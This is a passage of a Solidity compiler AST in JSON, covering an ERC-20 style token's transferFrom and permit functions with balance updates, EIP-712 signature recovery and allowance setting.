uint256)"}},"id":32581,"indexExpression":{"id":32580,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32536,"src":"3910:4:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"3899:16:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":32582,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32540,"src":"3917:6:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":32578,"name":"_sub","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32853,"src":"3894:4:20","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$_t_uint256_$","typeString":"function (uint256,uint256) pure returns (uint256)"}},"id":32583,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3894:30:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"3875:49:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":32585,"nodeType":"ExpressionStatement","src":"3875:49:20"},{"expression":{"id":32595,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":32586,"name":"_balanceOf","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32362,"src":"3934:10:20","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":32588,"indexExpression":{"id":32587,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32538,"src":"3945:2:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"3934:14:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"baseExpression":{"id":32590,"name":"_balanceOf","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32362,"src":"3956:10:20","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":32592,"indexExpression":{"id":32591,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32538,"src":"3967:2:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"3956:14:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":32593,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32540,"src":"3972:6:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":32589,"name":"_add","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32832,"src":"3951:4:20","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$_t_uint256_$","typeString":"function (uint256,uint256) pure returns (uint256)"}},"id":32594,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3951:28:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"3934:45:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":32596,"nodeType":"ExpressionStatement","src":"3934:45:20"},{"eventCall":{"arguments":[{"id":32598,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32536,"src":"4004:4:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":32599,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32538,"src":"4010:2:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":32600,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32540,"src":"4014:6:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":32597,"name":"Transfer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31885,"src":"3995:8:20","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":32601,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3995:26:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":32602,"nodeType":"EmitStatement","src":"3990:31:20"},{"expression":{"hexValue":"74727565","id":32603,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"4039:4:20","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"functionReturnParameters":32545,"id":32604,"nodeType":"Return","src":"4032:11:20"}]},"baseFunctions":[31950],"functionSelector":"23b872dd","implemented":true,"kind":"function","modifiers":[],"name":"transferFrom","nameLocation":"3587:12:20","overrides":{"id":32542,"nodeType":"OverrideSpecifier","overrides":[],"src":"3657:8:20"},"parameters":{"id":32541,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32536,"mutability":"mutable","name":"from","nameLocation":"3608:4:20","nodeType":"VariableDeclaration","scope":32606,"src":"3600:12:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32535,"name":"address","nodeType":"ElementaryTypeName","src":"3600:7:20","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32538,"mutability":"mutable","name":"to","nameLocation":"3622:2:20","nodeType":"VariableDeclaration","scope":32606,"src":"3614:10:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32537,"name":"address","nodeType":"ElementaryTypeName","src":"3614:7:20","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32540,"mutability":"mutable","name":"amount","nameLocation":"3634:6:20","nodeType":"VariableDeclaration","scope":32606,"src":"3626:14:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32539,"name":"uint256","nodeType":"ElementaryTypeName","src":"3626:7:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"3599:42:20"},"returnParameters":{"id":32545,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32544,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32606,"src":"3675:4:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":32543,"name":"bool","nodeType":"ElementaryTypeName","src":"3675:4:20","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"3674:6:20"},"scope":32893,"stateMutability":"nonpayable","virtual":true,"visibility":"public"},{"id":32692,"nodeType":"FunctionDefinition","src":"4239:1182:20","nodes":[],"body":{"id":32691,"nodeType":"Block","src":"4386:1035:20","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":32627,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":32624,"name":"deadline","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32614,"src":"4404:8:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">=","rightExpression":{"expression":{"id":32625,"name":"block","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-4,"src":"4416:5:20","typeDescriptions":{"typeIdentifier":"t_magic_block","typeString":"block"}},"id":32626,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4422:9:20","memberName":"timestamp","nodeType":"MemberAccess","src":"4416:15:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"4404:27:20","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"5045524d49545f444541444c494e455f45585049524544","id":32628,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"4433:25:20","typeDescriptions":{"typeIdentifier":"t_stringliteral_dd18cfd81b4c1281b56302a044e7f751a261543590362c41d86af048f8ed4b3e","typeString":"literal_string \"PERMIT_DEADLINE_EXPIRED\""},"value":"PERMIT_DEADLINE_EXPIRED"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_dd18cfd81b4c1281b56302a044e7f751a261543590362c41d86af048f8ed4b3e","typeString":"literal_string \"PERMIT_DEADLINE_EXPIRED\""}],"id":32623,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"4396:7:20","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":32629,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4396:63:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":32630,"nodeType":"ExpressionStatement","src":"4396:63:20"},{"assignments":[32632],"declarations":[{"constant":false,"id":32632,"mutability":"mutable","name":"recoveredAddress","nameLocation":"4478:16:20","nodeType":"VariableDeclaration","scope":32691,"src":"4470:24:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32631,"name":"address","nodeType":"ElementaryTypeName","src":"4470:7:20","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":32662,"initialValue":{"arguments":[{"arguments":[{"arguments":[{"hexValue":"1901","id":32637,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"4585:10:20","typeDescriptions":{"typeIdentifier":"t_stringliteral_301a50b291d33ce1e8e9064e3f6a6c51d902ec22892b50d58abf6357c6a45541","typeString":"literal_string hex\"1901\""},"value":"\u0019\u0001"},{"arguments":[],"expression":{"argumentTypes":[],"id":32638,"name":"DOMAIN_SEPARATOR","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32707,"src":"4617:16:20","typeDescriptions":{"typeIdentifier":"t_function_internal_view$__$returns$_t_bytes32_$","typeString":"function () view returns (bytes32)"}},"id":32639,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4617:18:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"arguments":[{"arguments":[{"arguments":[{"hexValue":"5065726d69742861646472657373206f776e65722c61646472657373207370656e6465722c75696e743235362076616c75652c75696e74323536206e6f6e63652c75696e7432353620646561646c696e6529","id":32644,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"4775:84:20","typeDescriptions":{"typeIdentifier":"t_stringliteral_6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9","typeString":"literal_string \"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)\""},"value":"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9","typeString":"literal_string \"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)\""}],"id":32643,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"4732:9:20","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":32645,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4732:157:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"id":32646,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32608,"src":"4919:5:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":32647,"name":"spender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32610,"src":"4954:7:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":32648,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32612,"src":"4991:5:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":32652,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":false,"src":"5026:15:20","subExpression":{"baseExpression":{"id":32649,"name":"nonces","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32415,"src":"5026:6:20","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":32651,"indexExpression":{"id":32650,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32608,"src":"5033:5:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"5026:13:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":32653,"name":"deadline","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32614,"src":"5071:8:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":32641,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"4692:3:20","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":32642,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"4696:6:20","memberName":"encode","nodeType":"MemberAccess","src":"4692:10:20","typeDescriptions":{"typeIdentifier":"t_function_abiencode_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":32654,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4692:413:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":32640,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"4657:9:20","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":32655,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4657:470:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_301a50b291d33ce1e8e9064e3f6a6c51d902ec22892b50d58abf6357c6a45541","typeString":"literal_string hex\"1901\""},{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":32635,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"4547:3:20","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":32636,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"4551:12:20","memberName":"encodePacked","nodeType":"MemberAccess","src":"4547:16:20","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":32656,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4547:598:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":32634,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"4520:9:20","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":32657,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4520:639:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"id":32658,"name":"v","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32616,"src":"5173:1:20","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},{"id":32659,"name":"r","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32618,"src":"5188:1:20","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"id":32660,"name":"s","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32620,"src":"5203:1:20","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_uint8","typeString":"uint8"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":32633,"name":"ecrecover","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-6,"src":"4497:9:20","typeDescriptions":{"typeIdentifier":"t_function_ecrecover_pure$_t_bytes32_$_t_uint8_$_t_bytes32_$_t_bytes32_$returns$_t_address_$","typeString":"function (bytes32,uint8,bytes32,bytes32) pure returns (address)"}},"id":32661,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4497:717:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"4470:744:20"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":32673,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":32669,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":32664,"name":"recoveredAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32632,"src":"5233:16:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"arguments":[{"hexValue":"30","id":32667,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"5261:1:20","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":32666,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"5253:7:20","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":32665,"name":"address","nodeType":"ElementaryTypeName","src":"5253:7:20","typeDescriptions":{}}},"id":32668,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5253:10:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"5233:30:20","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"&&","rightExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":32672,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":32670,"name":"recoveredAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32632,"src":"5267:16:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":32671,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32608,"src":"5287:5:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"5267:25:20","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"5233:59:20","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"494e56414c49445f5349474e4552","id":32674,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5294:16:20","typeDescriptions":{"typeIdentifier":"t_stringliteral_ba2319f5fa9f0c8e55f0d6899910b7354e6f643d1d349de47190066d85e68a1c","typeString":"literal_string \"INVALID_SIGNER\""},"value":"INVALID_SIGNER"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_ba2319f5fa9f0c8e55f0d6899910b7354e6f643d1d349de47190066d85e68a1c","typeString":"literal_string \"INVALID_SIGNER\""}],"id":32663,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"5225:7:20","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":32675,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5225:86:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":32676,"nodeType":"ExpressionStatement","src":"5225:86:20"},{"expression":{"id":32683,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"baseExpression":{"id":32677,"name":"_allowance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32368,"src":"5322:10:20","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_uint256_$_$","typeString":"mapping(address => mapping(address => uint256))"}},"id":32680,"indexExpression":{"id":32678,"name":"recoveredAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32632,"src":"5333:16:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"5322:28:20","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":32681,"indexExpression":{"id":32679,"name":"spender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32610,"src":"5351:7:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"5322:37:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":32682,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32612,"src":"5362:5:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"5322:45:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":32684,"nodeType":"ExpressionStatement","src":"5322:45:20"},{"eventCall":{"arguments":[{"id":32686,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32608,"src":"5392:5:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":32687,"name":"spender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32610,"src":"5399:7:20","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":32688,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32612,"src":"5408:5:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":32685,"name":"Approval","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31894,"src":"5383:8:20","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":32689,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5383:31:20","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":32690,"nodeType":"EmitStatement","src":"5378:36:20"}]},"functionSelector":"d505accf","implemented":true,"kind":"function","modifiers":[],"name":"permit","nameLocation":"4248:6:20","parameters":{"id":32621,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32608,"mutability":"mutable","name":"owner","nameLocation":"4263:5:20","nodeType":"VariableDeclaration","scope":32692,"src":"4255:13:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32607,"name":"address","nodeType":"ElementaryTypeName","src":"4255:7:20","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32610,"mutability":"mutable","name":"spender","nameLocation":"4278:7:20","nodeType":"VariableDeclaration","scope":32692,"src":"4270:15:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32609,"name":"address","nodeType":"ElementaryTypeName","src":"4270:7:20","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32612,"mutability":"mutable","name":"value","nameLocation":"4295:5:20","nodeType":"VariableDeclaration","scope":32692,"src":"4287:13:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32611,"name":"uint256","nodeType":"ElementaryTypeName","src":"4287:7:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":32614,"mutability":"mutable","name":"deadline","nameLocation":"4310:8:20","nodeType":"VariableDeclaration","scope":32692,"src":"4302:16:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32613,"name":"uint256","nodeType":"ElementaryTypeName","src":"4302:7:20","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":32616,"mutability":"mutable","name":"v","nameLocation":"4326:1:20","nodeType":"VariableDeclaration","scope":32692,"src":"4320:7:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"},"typeName":{"id":32615,"name":"uint8","nodeType":"ElementaryTypeName","src":"4320:5:20","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},"visibility":"internal"},{"constant":false,"id":32618,"mutability":"mutable","name":"r","nameLocation":"4337:1:20","nodeType":"VariableDeclaration","scope":32692,"src":"4329:9:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":32617,"name":"bytes32","nodeType":"ElementaryTypeName","src":"4329:7:20","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":32620,"mutability":"mutable","name":"s","nameLocation":"4348:1:20","nodeType":"VariableDeclaration","scope":32692,"src":"4340:9:20","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":32619,"name":"bytes32","nodeType":"ElementaryTypeName","src":"4340:7:20","typeDescriptions